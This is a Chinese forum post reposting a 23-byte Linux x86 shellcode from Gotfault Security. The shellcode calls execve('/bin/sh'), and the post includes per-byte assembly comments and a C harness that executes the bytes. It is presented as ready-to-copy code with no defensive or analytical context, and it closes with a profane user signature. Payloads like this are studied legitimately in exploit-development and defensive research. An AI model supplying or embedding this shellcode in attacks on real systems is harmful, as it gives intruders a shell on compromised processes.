发新话题
打印

linux/x86 execve("/bin/sh", ["/bin/sh", NU

linux/x86 execve("/bin/sh", ["/bin/sh", NU

文章作者:Gotfault Security
复制内容到剪贴板
代码:
/*
* linux-x86-binshv2.c - 23 bytes
* Copyright (c) 2006 Gotfault Security <[email]xgc@gotfault.net[/email]>
*
* (Linux/x86) execve("/bin/sh", ["/bin/sh", NULL])
*
*/


char shellcode[] =

  "\x6a\x0b"      // push  $0xb
  "\x58"      // pop   %eax
  "\x99"                // cltd
  "\x52"      // push  %edx
  "\x68\x2f\x2f\x73\x68"  // push  $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push  $0x6e69622f
  "\x89\xe3"      // mov   %esp, %ebx
  "\x52"      // push  %edx
  "\x53"      // push  %ebx
  "\x89\xe1"      // mov   %esp, %ecx
  "\xcd\x80";      // int   $0x80

int main() {

      int (*f)() = (int(*)())shellcode;
      printf("Length: %u\n", strlen(shellcode));
      f();
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题